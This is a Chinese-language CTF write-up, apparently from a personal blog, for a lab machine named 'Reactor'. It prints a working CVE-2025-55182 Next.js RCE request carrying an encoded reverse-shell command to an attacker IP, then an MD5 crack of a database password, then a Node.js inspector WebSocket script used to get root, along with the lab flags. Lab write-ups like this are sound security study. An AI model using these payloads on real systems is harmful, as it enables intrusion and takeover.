Reactor

USER FLAG

nmap 扫一下靶机的端口服务

1
nmap -A -p- 10.129.4.41

一个 22 端口,一个 3000 端口

image-20260615121256015

先看 3000 端口

image-20260610204158234

Wappalyzer 看一下框架是 React 和 Next.js

image-20260610204953068

想到去年一个漏洞:CVE-2025-55182

用插件看一下确实存在,不过插件因为网络问题不能直接打

image-20260610205113250

上网找POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST / HTTP/1.1
Host: 10.129.4.41:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 742

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

image-20260615120852233

反弹shell

1
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40NS8yMzMzIDA+JjE= | base64 -d | /bin/bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST / HTTP/1.1
Host: 10.129.4.41:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 742

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40NS8yMzMzIDA+JjE= | base64 -d | /bin/bash',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

image-20260615121713997

到用户目录下,可以看到还有个engineer用户

image-20260615122014326

接下来就是要提权到engineer这个用户了,没有发现 SUID 和 SUDO 提权的可能

不过在/opt/reactor-app目录下发现有个reactor.db文件

image-20260615122727346

将这个文件传到kali中,靶机是有 python 的

image-20260615123051756

利用 python 开个 HTTP 服务

1
python3 -m http.server 4444

image-20260615123159516

然后 kali 开个终端下载文件

1
curl -o reactor.db http://10.129.4.41:8000/reactor.db

image-20260615123255283

打开reactor.db可以发现这个文件中存着用户名和密码

image-20260615123603129

“浏览数据” 中查看 “users” 表,可以得到engineer用户的 hash 密码:39d97110eafe2a9a68639812cd271e8e

image-20260615123735722

cmd5在线网站解密得到明文密码是:reactor1

image-20260615123828128

SSH 登录engineer用户

1
ssh engineer@10.129.4.41

image-20260615124000466

拿到user.txt

image-20260615124038650

1
a569da335f5f797c99618f9b0679f88b

ROOT FLAG

继续提权为 root,这个用户也是不能 SUID 和 SUDO 提权,看一下端口使用情况,发现9229有点可疑

image-20260615124449035

查看一下进程

1
ps aux

image-20260615124601084

问一下 AI,这个进程就是在进行 Nodejs 调试

image-20260615124708378

--inspect会开启 Nodejs 远程调试端口,也就是这里的9229,可疑进行RCE,而且这个进程是 root 用户的,可以利用这个 node 调试器进行提权

image-20260615124815293

看一下 json

1
curl http://127.0.0.1:9229/json

image-20260615125026572

1
2
3
4
5
6
7
8
9
10
11
[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:9229/7b173987-c390-41f2-8a91-05b51647cb63",
"devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/7b173987-c390-41f2-8a91-05b51647cb63",
"faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
"id": "7b173987-c390-41f2-8a91-05b51647cb63",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"url": "file:///opt/uptime-monitor/worker.js",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/7b173987-c390-41f2-8a91-05b51647cb63"
} ]

利用 ws 链接调试端口,脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const WebSocket = require('ws');

const ws = new WebSocket('ws://127.0.0.1:9229/7b173987-c390-41f2-8a91-05b51647cb63');

ws.on('open', function () {
console.log('connected');

ws.send(JSON.stringify({
id: 1,
method: "Runtime.evaluate",
params: {
expression: `
this.constructor.constructor('return process')()
.mainModule.require('child_process')
.execSync('id')
.toString()
`
}
}));
});

ws.on('message', function (data) {
console.log(data.toString());
});

这个端口应该不出网,进行一下转发到我本地

1
ssh -L 9229:127.0.0.1:9229 engineer@10.129.4.41 -fN

image-20260615125530436

然后就是执行上面的脚本了

1
node 1.js

成功提权为 root

image-20260615125618910

读 root 目录下的 root.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const WebSocket = require('ws');

const ws = new WebSocket('ws://127.0.0.1:9229/7b173987-c390-41f2-8a91-05b51647cb63');

ws.on('open', function () {
console.log('connected');

ws.send(JSON.stringify({
id: 1,
method: "Runtime.evaluate",
params: {
expression: `
this.constructor.constructor('return process')()
.mainModule.require('child_process')
.execSync('cat /root/root.txt')
.toString()
`
}
}));
});

ws.on('message', function (data) {
console.log(data.toString());
});

image-20260615125709024

1
cd93df50976aab2221f1b7522b921369

总结

这题就是利用去年年底的一个CVE,之前也遇到用过,然后就是信息搜集,拿到其他用户的SSH密码,最后也是信息搜集,发现存在 node 调试器提权,直接以 root 身份RCE了


Reactor
https://yschen20.github.io/2026/06/15/Reactor/
作者
Suzen
发布于
2026年6月15日
更新于
2026年6月15日
许可协议